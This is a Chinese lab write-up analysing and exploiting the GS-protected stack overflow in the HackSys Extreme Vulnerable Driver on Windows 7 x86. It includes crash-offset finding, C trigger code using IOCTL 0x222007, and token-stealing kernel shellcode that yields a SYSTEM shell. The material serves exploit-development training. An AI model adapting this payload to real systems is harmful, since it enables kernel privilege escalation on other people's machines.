漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]

作者:selph

前言

窥探Ring0漏洞世界:缓冲区溢出之突破GS保护

实验环境:

•虚拟机:Windows 7 x86

•物理机:Windows 10 x64

•软件:IDA,Windbg,VS2022

漏洞分析

本次实验内容是BufferOverflowStackGS(环境提供的栈溢出一共有两个,一个是普通的,一个是GS保护的)

首先用IDA打开HEVD.sys,搜索BufferOverflowStack,可以看到两个函数:BufferOverflowGSStackIoctlHandler和TriggerBufferOverflowStackGS,跟上一篇一样,前者是分发程序,后者是漏洞程序

从IDA的F5里可以看出,这是一个经典的栈溢出漏洞:使用用户输入的长度进行memcpy调用,和上一例完全一样

int __stdcall TriggerBufferOverflowStackGS(void *UserBuffer, unsigned int Size)

{

unsigned __int8 KernelBuffer[512]; // [esp+14h] [ebp-21Ch] BYREF

CPPEH_RECORD ms_exc; // [esp+218h] [ebp-18h]

memset(KernelBuffer, 0, sizeof(KernelBuffer));

ms_exc.registration.TryLevel = 0;

ProbeForRead(UserBuffer, 0x200u, 1u);

_DbgPrintEx(0x4Du, 3u, “[+] UserBuffer: 0x%p\n”, UserBuffer);

_DbgPrintEx(0x4Du, 3u, “[+] UserBuffer Size: 0x%zX\n”, Size);

_DbgPrintEx(0x4Du, 3u, “[+] KernelBuffer: 0x%p\n”, KernelBuffer);

_DbgPrintEx(0x4Du, 3u, “[+] KernelBuffer Size: 0x%zX\n”, 0x200u);

_DbgPrintEx(0x4Du, 3u, “[+] Triggering Buffer Overflow in Stack (GS)\n”);

memcpy(KernelBuffer, UserBuffer, Size);

return 0;

}

交叉引用查看调用处:依然跟上次一样

int __stdcall BufferOverflowStackGSIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)

{

int v2; // ecx

_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx

v2 = -1073741823;

Parameters = IrpSp->Parameters.CreatePipe.Parameters;

if ( Parameters )

return TriggerBufferOverflowStackGS(Parameters, IrpSp->Parameters.Create.Options);

return v2;

}

接着往上走,找到控制码,这里调用处前面的标号是$LN6


查看前面的跳转表:


可以看到,这里是按顺序排的,这里eax只要等于1即可跳转过来

根据上例可知,eax=0,需要的输入是0x00222003,查看eax是怎么来的:


是通过这个索引获取的,所以这里eax得是比上次多4,所以这次使用的控制码是:0x222007

漏洞利用

突破GS拿到程序控制权

GS保护机制简介:开启了GS保护,会在函数开始的时候用ebp对随机值进行异或,然后保存,在函数结束的时候进行检查,再次异或查看随机值是否与之前一致,如果一致则通过GS检查,不一致则进入另外的程序流程

常规的绕过GS保护的方式就有利用虚函数或者SEH进行突破,无论是这两个的哪一种,都可以在GS检查之前把程序给劫持走

所以对于突破GS保护,只需要通过生成随机序列,然后看程序会跳转到随机序列的哪里,就可以判断在哪里可以劫持程序执行流程了

使用kali的pattern_create.rb进行生成:

┌──(selph㉿kali)-[~/桌面]

└─$ ./pattern_create.rb -l 1000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

构建测试程序:

#include

#include

char *shellcode = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B”;

int shellcodeLength = strlen(shellcode);

int main()

{

HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);

if (hDevice == INVALID_HANDLE_VALUE) {

printf(“[ERROR]Open Device Error\r\n”);

system(“pause”);

exit(1);

}

else {

printf(“[INFO]Device Handle: 0x%X\n”, hDevice);

}

ULONG WriteRet = 0;

DeviceIoControl(hDevice, 0x222007, (LPVOID)shellcode, shellcodeLength, NULL, 0, &WriteRet, NULL);

return 0;

}

很快,就看到程序报错了,查看寄存器:

Access violation - code c0000005 (!!! second chance !!!)

73413173 ?? ???

kd> r

eax=00000000 ebx=8842c548 ecx=e017583e edx=00000000 esi=83f15087 edi=8842c4d8

eip=73413173 esp=9745bae0 ebp=41307341 iopl=0 nv up ei ng nz ac pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296

73413173 ?? ???

eip指向了73413173这个值,通过pattern_offset.rb进行判断该值的位置:

┌──(selph㉿kali)-[~/桌面]

└─$ ./pattern_offset.rb -q 73413173 -l 1000

[*] Exact match at offset 544

偏移在544的位置,修改测试代码再次尝试:

#include

#include

int main()

{

ULONG UserBufferSize = 544+4;

HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);

if (hDevice == INVALID_HANDLE_VALUE) {

printf(“[ERROR]Open Device Error\r\n”);

system(“pause”);

exit(1);

}

else {

printf(“[INFO]Device Handle: 0x%X\n”, hDevice);

}

PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

if (!UserBuffer) {

printf(“[ERROR]Allocate ERROR”);

system(“pause”);

  exit(1);

}

else {

  printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);

  printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);

}

RtlFillMemory(UserBuffer, UserBufferSize, 0x41);

PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize)-sizeof(ULONG));

*(PULONG)MemoryAddress = (ULONG)0x66666666;

ULONG WriteRet = 0;

DeviceIoControl(hDevice, 0x222007, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);

UserBuffer = NULL;

return 0;

}

抛出异常:

Access violation - code c0000005 (!!! second chance !!!)

66666666 ?? ???

kd> r

eax=00000000 ebx=865bd1c8 ecx=bf76b3e0 edx=00000000 esi=83eff087 edi=865bd158

eip=66666666 esp=ae790ae0 ebp=41414141 iopl=0 nv up ei ng nz ac pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296

66666666 ?? ???

成功找到溢出控制点,接下来构造shellcode进行跳转即可

构造shellcode

这次继续分析上次shellcode最后结尾的返回是怎么回事,还是用上次的那个shellcode,在前面加一个0xcc来下断:

示例shellcode:

// Windows 7 SP1 x86 Offsets

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread

#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process

#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId

#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink

#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token

#define SYSTEM_PID 0x004 // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {

// Importance of Kernel Recovery

__asm {

__emit 0cch

pushad

;获取当前进程EPROCESS

  xor eax, eax

  mov eax, fs: [eax + KTHREAD_OFFSET]

  mov eax, [eax + EPROCESS_OFFSET]

  mov ecx, eax

;搜索system进程EPROCESS

  mov edx, SYSTEM_PID

  SearchSystemPID:

  mov eax, [eax + FLINK_OFFSET]

  sub eax, FLINK_OFFSET

  cmp[eax + PID_OFFSET], edx

  jne SearchSystemPID

;token窃取

  mov edx, [eax + TOKEN_OFFSET]

  mov[ecx + TOKEN_OFFSET], edx

;环境还原+返回

  popad

  xor eax, eax

  add esp, 12

  pop ebp

  ret 8

}

}

这里功能执行部分没啥问题,也不会对栈进行操作产生影响,内核里执行shellcode执行完一定要能正常返回回去,现在运行到断点查看调用堆栈信息:

kd> k

ChildEBP RetAddr

WARNING: Frame IP not in any known module. Following frames may be wrong.

00 92031ae0 928f70ea 0x1f1043

01 92031afc 83e83593 HEVD!IrpDeviceIoCtlHandler+0x86

02 92031b14 8407799f nt!IofCallDriver+0x63

03 92031b34 8407ab71 nt!IopSynchronousServiceTail+0x1f8

04 92031bd0 840c13f4 nt!IopXxxControlFile+0x6aa

05 92031c04 83e8a1ea nt!NtDeviceIoControlFile+0x2a

可以看到,当前执行到shellcode里,上一层返回是HEVD!IrpDeviceIoCtlHandler+0x86,因为我们没有使用1000字节的那个shellcode而是重新构建了刚好大小的shellcode进行覆盖,所以这里不会影响到后面的调用栈信息,所以这里我们只需要返回到上一层就行

返回到上一层需要恢复栈成为刚刚从函数里返回的样子,正常情况下函数返回到这里进行的操作:

PAGE:004452C8 loc_4452C8: ; CODE XREF: BufferOverflowStackGSIoctlHandler(x,x)+13↑j

PAGE:004452C8 8B C1 mov eax, ecx

PAGE:004452CA 5D pop ebp

PAGE:004452CB C2 08 00 retn 8

eax里保存一个返回值,弹出原本的ebp,retn 8

也就是说,这里返回之前的esp里本应该装有原来的ebp才行,所以需要对esp进行修复,把ebp入栈保存的操作是在函数开始的时候做的,查看栈信息:

kd> dds esp

92031ad48855a4d0

92031ad8 83f11087 nt!DbgPrintEx

92031adc 8855a540

92031ae0 92031afc

92031ae4 928f70ea HEVD!IrpDeviceIoCtlHandler+0x86 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 283]

92031ae8 8855a4d0

92031aec 8855a540

92031af0 86671350

call指令的作用是入栈返回地址+跳转到函数内,所以这里在进入函数之前esp = 92031ae4,然后进行的操作:

PAGE:004452AA 55 push ebp

PAGE:004452AB 8B EC mov ebp, esp

第一件事就是push ebp,所以这里92031ae0地址保存的就是ebp,这里只需要把esp的为止恢复到该位置即可

所以要做的操作就是:add esp, 0xc

获取System权限

提权后执行的操作:

system(“pause”);

system(“cmd.exe”);

截图演示:


参考资料

•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

•[2] 探究security_cookie在程序中的作用 - 我可是会飞的啊 (kn0sky.com) https://www.kn0sky.com/?p=66

•[3] 渗透之——使用Metasploit实现对缓冲区栈的溢出攻击_冰 河的博客-CSDN博客 https://blog.csdn.net/l1028386804/article/details/86494568

•[4] HEVD Stack Overflow GS (klue.github.io) https://klue.github.io/blog/2017/09/hevd_stack_gs/?msclkid=9bb65ef4cf4a11ec8dd20f19f6cc758c

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,744评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,505评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,105评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,242评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,269评论 6 389
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,215评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,096评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,939评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,354评论 1 311
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,573评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,745评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,448评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,048评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,683评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,838评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,776评论 2 369
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,652评论 2 354

推荐阅读更多精彩内容